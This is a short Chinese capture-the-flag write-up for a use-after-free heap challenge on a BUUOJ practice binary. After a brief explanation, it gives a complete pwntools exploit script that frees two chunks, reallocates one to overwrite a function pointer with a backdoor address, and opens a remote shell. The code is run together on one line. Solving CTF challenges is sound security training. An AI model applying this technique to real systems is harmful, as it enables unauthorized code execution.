
这个题目是wiki上一个很典型讲uaf的那道题目。
这道题目简单来说就是有一个控制堆块,这个控制堆块前八个字节存放是一个put函数,后面是一个size的地址,然后有一个后门函数
这里free是不干净和上次做那个题目很像,不过那个是libc2.27带double free的
我们的想法是把put函数给改成后门函数,这样我们就可以实现
from pwn import*from LibcSearcher import*context.log_level='debug'io = process('./bjdctf_2020_YDSneedGrirlfriend')io = remote('node4.buuoj.cn',25144)#libc =ELF("libc-2.23.so")#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')elf = ELF("./bjdctf_2020_YDSneedGrirlfriend")bss_addr = 0x0804A060def debug():gdb.attach(io)pause()def creat(size,value):io.recvuntil("Your choice :")io.sendline("1")io.recvuntil("Her name size is :")io.sendline(str(size))io.recvuntil("Her name is :")io.sendline(value)def free(index):io.recvuntil("Your choice :")io.sendline("2")io.recvuntil("Index :")io.sendline(str(index))def show(index):io.recvuntil("Your choice :")io.sendline("3")io.recvuntil('Index :')io.sendline(str(index))shell =0x0000000000400B9Ccreat(0x20,'aaa')creat(0x20,"bbb")free(0)free(1)creat(0x10,p64(shell))show(0)io.interactive()
